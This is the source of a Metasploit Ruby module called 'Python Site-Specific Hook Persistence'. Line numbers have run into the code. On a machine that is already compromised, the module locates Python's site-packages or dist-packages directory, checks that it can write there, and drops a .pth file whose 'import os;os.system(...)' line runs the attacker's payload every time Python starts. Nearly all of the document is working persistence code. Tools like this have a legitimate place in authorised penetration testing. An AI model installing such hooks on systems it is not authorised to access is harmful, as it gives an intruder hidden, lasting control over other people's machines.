Path: blob/master/modules/exploits/multi/persistence/python_site_specific_hook.rb
28788 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html78include Msf::Post::Linux::Priv9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Python Site-Specific Hook Persistence',20'Description' => %q{21This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.22},23'License' => MSF_LICENSE,24'Author' => [25'msutovsky-r7', # msf module26],27'Platform' => ['linux', 'windows', 'osx'],28'Arch' => [ ARCH_CMD ],29'SessionTypes' => [ 'meterpreter', 'shell' ],30'Targets' => [[ 'Auto', {} ]],31'References' => [32[ 'URL', 'https://docs.python.org/3/library/site.html'],33['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],34],35'DisclosureDate' => '2012-09-29',36'DefaultTarget' => 0,37'Notes' => {38'Stability' => [CRASH_SAFE],39'Reliability' => [REPEATABLE_SESSION],40'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]41}42)43)44register_options([45OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),46OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])47])48end4950def get_hooks_path51unless datastore['PYTHON_HOOK_PATH'].blank?52@hooks_path = datastore['PYTHON_HOOK_PATH']53return54end55case session.platform56when 'windows', 'win'5758case datastore['EXECUTION_TARGET']59when 'USER'60@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")61when 'SYSTEM'62@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"63end64when 'osx', 'linux'6566case datastore['EXECUTION_TARGET']67when 'USER'68@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")69when 'SYSTEM'70@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"71end72end73end7475def get_python_version76case session.platform77when 'windows', 'win'78cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/79when 'osx', 'linux'80cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/81end8283@python_version = Regexp.last_match(1)84end8586def check87get_python_version8889return CheckCode::Safe('Python not present on the system') unless @python_version9091CheckCode::Vulnerable('Python is present on the system')92end9394def install_persistence95get_python_version unless @python_version96print_status("Detected Python version #{@python_version}")97get_hooks_path unless @hooks_path9899mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'100101fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)102# check if hooks path writable103begin104# windows only ps payloads have writable? so try that first105fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)106rescue RuntimeError107filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))108write_file(filename, '')109fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)110rm_f(filename)111end112113print_status("Got path to site-specific hooks #{@hooks_path}")114115file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)116117fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))118119print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")120@clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"121end122end123124125